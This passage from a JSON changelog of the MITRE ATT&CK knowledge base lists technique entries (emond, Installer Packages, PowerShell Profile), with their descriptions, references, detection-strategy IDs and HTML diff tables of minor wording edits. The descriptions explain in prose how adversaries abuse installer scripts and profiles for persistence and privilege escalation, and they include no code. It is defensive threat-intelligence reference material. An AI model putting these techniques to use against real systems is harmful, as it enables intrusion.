nowrap=\"nowrap\">execute&nbsp;commands&nbsp;when&nbsp;a&nbsp;defined&nbsp;event&nbsp;occurs,&nbsp;such&nbsp;as&nbsp;system</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;start<span class=\"diff_chg\">&nbsp;up&nbsp;or&nbsp;user</span>&nbsp;authentication.(Citation:&nbsp;xorrior&nbsp;emond&nbsp;Ja</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;start<span class=\"diff_chg\">up&nbsp;or&nbsp;user</span>&nbsp;authentication.(Citation:&nbsp;xorrior&nbsp;emond&nbsp;Jan</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;2018)(Citation:&nbsp;magnusviri&nbsp;emond&nbsp;Apr&nbsp;2016)(Citation:&nbsp;senti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2018)(Citation:&nbsp;magnusviri&nbsp;emond&nbsp;Apr&nbsp;2016)(Citation:&nbsp;sentin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nelone&nbsp;macos&nbsp;persist&nbsp;Jun&nbsp;2019)&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;be&nbsp;able&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">elone&nbsp;macos&nbsp;persist&nbsp;Jun&nbsp;2019)&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;be&nbsp;able&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;escalate&nbsp;privileges&nbsp;from&nbsp;administrator&nbsp;to&nbsp;root&nbsp;as&nbsp;the&nbsp;emo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;escalate&nbsp;privileges&nbsp;from&nbsp;administrator&nbsp;to&nbsp;root&nbsp;as&nbsp;the&nbsp;emon</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;service&nbsp;is&nbsp;executed&nbsp;with&nbsp;root&nbsp;privileges&nbsp;by&nbsp;the&nbsp;[Launch&nbsp;D</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;service&nbsp;is&nbsp;executed&nbsp;with&nbsp;root&nbsp;privileges&nbsp;by&nbsp;the&nbsp;[Launch&nbsp;Da</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aemon](https://attack.mitre.org/techniques/T1543/004)&nbsp;servic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emon](https://attack.mitre.org/techniques/T1543/004)&nbsp;service</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0555: Detection Strategy for Event Triggered Execution via emond on macOS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2022-09-27 18:02:16.026000+00:00",
                    "modified": "2026-11-04 03:24:26.417000+00:00",
                    "name": "Installer Packages",
                    "description": "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer service uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1546/016",
                            "external_id": "T1546.016"
                        },
                        {
                            "source_name": "Application Bundle Manipulation Brandon Dalton",
                            "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
                            "url": "https://redcanary.com/blog/mac-application-bundles/"
                        },
                        {
                            "source_name": "Debian Manual Maintainer Scripts",
                            "description": "Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022.",
                            "url": "https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact"
                        },
                        {
                            "source_name": "Windows AppleJeus GReAT",
                            "description": "Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.",
                            "url": "https://securelist.com/operation-applejeus/87553/"
                        },
                        {
                            "source_name": "Microsoft Installation Procedures",
                            "description": "Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023.",
                            "url": "https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group"
                        },
                        {
                            "source_name": "wardle evilquest parti",
                            "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.",
                            "url": "https://objective-see.com/blog/blog_0x59.html"
                        },
                        {
                            "source_name": "Installer Package Scripting Rich Trouton",
                            "description": "Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.",
                            "url": "https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Brandon Dalton @PartyD0lphin",
                        "Rodchenko Aleksandr"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:24:26.417000+00:00\", \"old_value\": \"2026-05-12 15:12:00.721000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\\n\\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\\n\\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\\n\\nFor Windows, the Microsoft Installer service uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)\", \"old_value\": \"Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\\n\\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\\n\\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\\n\\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\\n \\n-For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)\\n+For Windows, the Microsoft Installer service uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to74__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to74__0\"><a href=\"#difflib_chg_to74__top\">t</a></td><td class=\"diff_header\" id=\"from74_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and&nbsp;elevate&nbsp;privileges</td><td class=\"diff_next\"><a href=\"#difflib_chg_to74__top\">t</a></td><td class=\"diff_header\" id=\"to74_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and&nbsp;elevate&nbsp;privileges</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;using&nbsp;an&nbsp;installer&nbsp;to&nbsp;trigger&nbsp;the&nbsp;execution&nbsp;of&nbsp;malicious</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;using&nbsp;an&nbsp;installer&nbsp;to&nbsp;trigger&nbsp;the&nbsp;execution&nbsp;of&nbsp;malicious</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;content.&nbsp;Installer&nbsp;packages&nbsp;are&nbsp;OS&nbsp;specific&nbsp;and&nbsp;contain&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;content.&nbsp;Installer&nbsp;packages&nbsp;are&nbsp;OS&nbsp;specific&nbsp;and&nbsp;contain&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;resources&nbsp;an&nbsp;operating&nbsp;system&nbsp;needs&nbsp;to&nbsp;install&nbsp;applications</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;resources&nbsp;an&nbsp;operating&nbsp;system&nbsp;needs&nbsp;to&nbsp;install&nbsp;applications</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;a&nbsp;system.&nbsp;Installer&nbsp;packages&nbsp;can&nbsp;include&nbsp;scripts&nbsp;that&nbsp;ru</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;a&nbsp;system.&nbsp;Installer&nbsp;packages&nbsp;can&nbsp;include&nbsp;scripts&nbsp;that&nbsp;ru</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;prior&nbsp;to&nbsp;installation&nbsp;as&nbsp;well&nbsp;as&nbsp;after&nbsp;installation&nbsp;is&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;prior&nbsp;to&nbsp;installation&nbsp;as&nbsp;well&nbsp;as&nbsp;after&nbsp;installation&nbsp;is&nbsp;com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plete.&nbsp;Installer&nbsp;scripts&nbsp;may&nbsp;inherit&nbsp;elevated&nbsp;permissions&nbsp;wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plete.&nbsp;Installer&nbsp;scripts&nbsp;may&nbsp;inherit&nbsp;elevated&nbsp;permissions&nbsp;wh</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;executed.&nbsp;Developers&nbsp;often&nbsp;use&nbsp;these&nbsp;scripts&nbsp;to&nbsp;prepare&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;executed.&nbsp;Developers&nbsp;often&nbsp;use&nbsp;these&nbsp;scripts&nbsp;to&nbsp;prepare&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;environment&nbsp;for&nbsp;installation,&nbsp;check&nbsp;requirements,&nbsp;downloa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;environment&nbsp;for&nbsp;installation,&nbsp;check&nbsp;requirements,&nbsp;downloa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;dependencies,&nbsp;and&nbsp;remove&nbsp;files&nbsp;after&nbsp;installation.(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;dependencies,&nbsp;and&nbsp;remove&nbsp;files&nbsp;after&nbsp;installation.(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Installer&nbsp;Package&nbsp;Scripting&nbsp;Rich&nbsp;Trouton)&nbsp;&nbsp;Using&nbsp;legitima</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Installer&nbsp;Package&nbsp;Scripting&nbsp;Rich&nbsp;Trouton)&nbsp;&nbsp;Using&nbsp;legitima</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;applications,&nbsp;adversaries&nbsp;have&nbsp;distributed&nbsp;applications&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;applications,&nbsp;adversaries&nbsp;have&nbsp;distributed&nbsp;applications&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;modified&nbsp;installer&nbsp;scripts&nbsp;to&nbsp;execute&nbsp;malicious&nbsp;content.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;modified&nbsp;installer&nbsp;scripts&nbsp;to&nbsp;execute&nbsp;malicious&nbsp;content.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;When&nbsp;a&nbsp;user&nbsp;installs&nbsp;the&nbsp;application,&nbsp;they&nbsp;may&nbsp;be&nbsp;required&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;When&nbsp;a&nbsp;user&nbsp;installs&nbsp;the&nbsp;application,&nbsp;they&nbsp;may&nbsp;be&nbsp;required&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;grant&nbsp;administrative&nbsp;permissions&nbsp;to&nbsp;allow&nbsp;the&nbsp;installatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;grant&nbsp;administrative&nbsp;permissions&nbsp;to&nbsp;allow&nbsp;the&nbsp;installatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n.&nbsp;At&nbsp;the&nbsp;end&nbsp;of&nbsp;the&nbsp;installation&nbsp;process&nbsp;of&nbsp;the&nbsp;legitimate&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n.&nbsp;At&nbsp;the&nbsp;end&nbsp;of&nbsp;the&nbsp;installation&nbsp;process&nbsp;of&nbsp;the&nbsp;legitimate&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">application,&nbsp;content&nbsp;such&nbsp;as&nbsp;macOS&nbsp;`postinstall`&nbsp;scripts&nbsp;can</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">application,&nbsp;content&nbsp;such&nbsp;as&nbsp;macOS&nbsp;`postinstall`&nbsp;scripts&nbsp;can</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;executed&nbsp;with&nbsp;the&nbsp;inherited&nbsp;elevated&nbsp;permissions.&nbsp;Advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;executed&nbsp;with&nbsp;the&nbsp;inherited&nbsp;elevated&nbsp;permissions.&nbsp;Advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;can&nbsp;use&nbsp;these&nbsp;scripts&nbsp;to&nbsp;execute&nbsp;a&nbsp;malicious&nbsp;executabl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;can&nbsp;use&nbsp;these&nbsp;scripts&nbsp;to&nbsp;execute&nbsp;a&nbsp;malicious&nbsp;executabl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;or&nbsp;install&nbsp;other&nbsp;malicious&nbsp;components&nbsp;(such&nbsp;as&nbsp;a&nbsp;[Launch&nbsp;D</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;or&nbsp;install&nbsp;other&nbsp;malicious&nbsp;components&nbsp;(such&nbsp;as&nbsp;a&nbsp;[Launch&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aemon](https://attack.mitre.org/techniques/T1543/004))&nbsp;with&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aemon](https://attack.mitre.org/techniques/T1543/004))&nbsp;with&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;elevated&nbsp;permissions.(Citation:&nbsp;Application&nbsp;Bundle&nbsp;Manip</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;elevated&nbsp;permissions.(Citation:&nbsp;Application&nbsp;Bundle&nbsp;Manip</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ulation&nbsp;Brandon&nbsp;Dalton)(Citation:&nbsp;wardle&nbsp;evilquest&nbsp;parti)(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ulation&nbsp;Brandon&nbsp;Dalton)(Citation:&nbsp;wardle&nbsp;evilquest&nbsp;parti)(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Windows&nbsp;AppleJeus&nbsp;GReAT)(Citation:&nbsp;Debian&nbsp;Manual&nbsp;Mai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Windows&nbsp;AppleJeus&nbsp;GReAT)(Citation:&nbsp;Debian&nbsp;Manual&nbsp;Mai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntainer&nbsp;Scripts)&nbsp;&nbsp;Depending&nbsp;on&nbsp;the&nbsp;distribution,&nbsp;Linux&nbsp;versi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntainer&nbsp;Scripts)&nbsp;&nbsp;Depending&nbsp;on&nbsp;the&nbsp;distribution,&nbsp;Linux&nbsp;versi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;of&nbsp;package&nbsp;installer&nbsp;scripts&nbsp;are&nbsp;sometimes&nbsp;called&nbsp;mainta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;of&nbsp;package&nbsp;installer&nbsp;scripts&nbsp;are&nbsp;sometimes&nbsp;called&nbsp;mainta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iner&nbsp;scripts&nbsp;or&nbsp;post&nbsp;installation&nbsp;scripts.&nbsp;These&nbsp;scripts&nbsp;can</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iner&nbsp;scripts&nbsp;or&nbsp;post&nbsp;installation&nbsp;scripts.&nbsp;These&nbsp;scripts&nbsp;can</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;include&nbsp;`preinst`,&nbsp;`postinst`,&nbsp;`prerm`,&nbsp;`postrm`&nbsp;scripts&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;include&nbsp;`preinst`,&nbsp;`postinst`,&nbsp;`prerm`,&nbsp;`postrm`&nbsp;scripts&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;run&nbsp;as&nbsp;root&nbsp;when&nbsp;executed.&nbsp;&nbsp;For&nbsp;Windows,&nbsp;the&nbsp;Microsoft&nbsp;Ins</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;run&nbsp;as&nbsp;root&nbsp;when&nbsp;executed.&nbsp;&nbsp;For&nbsp;Windows,&nbsp;the&nbsp;Microsoft&nbsp;Ins</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">taller&nbsp;service<span class=\"diff_chg\">s&nbsp;uses</span>&nbsp;`.msi`&nbsp;files&nbsp;to&nbsp;manage&nbsp;the&nbsp;installing,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">taller&nbsp;service<span class=\"diff_chg\">&nbsp;uses</span>&nbsp;`.msi`&nbsp;files&nbsp;to&nbsp;manage&nbsp;the&nbsp;installing,&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">updating,&nbsp;and&nbsp;uninstalling&nbsp;of&nbsp;applications.&nbsp;These&nbsp;installati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pdating,&nbsp;and&nbsp;uninstalling&nbsp;of&nbsp;applications.&nbsp;These&nbsp;installatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;routines&nbsp;may&nbsp;also&nbsp;include&nbsp;instructions&nbsp;to&nbsp;perform&nbsp;additio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;routines&nbsp;may&nbsp;also&nbsp;include&nbsp;instructions&nbsp;to&nbsp;perform&nbsp;addition</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nal&nbsp;actions&nbsp;that&nbsp;may&nbsp;be&nbsp;abused&nbsp;by&nbsp;adversaries.(Citation:&nbsp;Mic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;actions&nbsp;that&nbsp;may&nbsp;be&nbsp;abused&nbsp;by&nbsp;adversaries.(Citation:&nbsp;Micr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rosoft&nbsp;Installation&nbsp;Procedures)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">osoft&nbsp;Installation&nbsp;Procedures)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0330: Detection Strategy for T1546.016 - Event Triggered Execution via Installer Packages"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 15:11:02.758000+00:00",
                    "modified": "2026-11-04 00:53:09.847000+00:00",
                    "name": "PowerShell Profile",
                    "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.(Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.(Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.(Citation: Wits End and Shady PowerShell Profiles)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1546/013",
                            "external_id": "T1546.013"
                        },
                        {
